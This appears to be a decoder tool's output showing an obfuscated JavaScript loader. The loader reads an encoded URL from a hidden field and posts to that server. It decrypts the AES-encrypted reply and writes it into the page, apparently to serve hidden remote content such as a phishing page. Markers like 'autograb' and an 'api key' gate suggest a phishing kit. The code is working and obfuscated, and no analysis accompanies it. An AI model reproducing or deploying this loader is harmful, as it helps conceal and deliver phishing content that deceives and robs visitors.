PHP Decode

<?  var v22aaf604cbfd4eecc442a9b= document.createElement('script'); 
var autograb = 0; 
v22aaf604cbfd4eecc442a9b.setAttribute('src',atob("aHR0cHM6Ly9jb2RlLmpxdWVyeS5jb20vanF1ZXJ5LTMuMS4xLm1pbi5qcw==")); 
document.head.append(v22aaf604cbfd4eecc442a9b); 
 
var vdc76908a18ddc6= document.createElement('script'); 
vdc76908a18ddc6.setAttribute('src',"https://cdnjs.cloudflare.com/ajax/libs/crypto-js/4.0.0/crypto-js.min.js"); 
document.head.append(vdc76908a18ddc6); 
 
v22aaf604cbfd4eecc442a9b.onload=function(){ 
$.support.cors = true 
var v2dba83f0 = atob; 
var vbfc8ad14 = "".split; 
var va97b791e = [].constructor.constructor(v2dba83f0("cmV0dXJuIENyeXB0b0pT")); 
var v2db = v2dba83f0($('#b64u').val()); 
$.post(v2db,'scte='.concat('') + (autograb == 0 ? '&auto=false' : '')) 
	.done(function(v276dce50){ 
	function v438f5ee60fca13f7dd04c7(f){ 
			var O00O1II = vbfc8ad14.apply(v2dba83f0(f),[String.fromCharCode(42)]); 
			var O000111 = { 
				OO0O1II: O00O1II[0], 
				OO0OII1: O00O1II[2], 
				OOOOII1 : O00O1II[1], 
				OO0OIII: O00O1II[3], 
			}  
			var OOOOIII = va97b791e().PBKDF2(O000111.OO0OIII, va97b791e().enc.Hex.parse(O000111.OO0OII1), { hasher: va97b791e().algo.SHA512, keySize: 64/8, iterations: 999}); 
			var O00O111 = va97b791e().AES.decrypt(O000111.OO0O1II, OOOOIII, { iv: va97b791e().enc.Hex.parse(O000111.OOOOII1)}); 
			return O00O111.toString(va97b791e().enc.Utf8); 
	} 
     if(v276dce50=='no'){ 
	   document.write('<h1>Please Get an api key to use this page</h1>') 
	 } 
	 else if(v276dce50 == "outdated"){ 
		 document.write('<h1>Please get an updated  version of the page</h1>') 
	 } 
	 else{ 
		 try{ 
			 document.write(v2dba83f0(v438f5ee60fca13f7dd04c7(v276dce50))); 
		 }catch(e){ 
			 document.write('<h1>Cannot write to page</h1>') 
		 } 
	 } 
	}) 
	.fail(function(cd,pg){ 
		document.write("<h1>Unable to connect , Server not found</h1>") 
	}) 
} ?>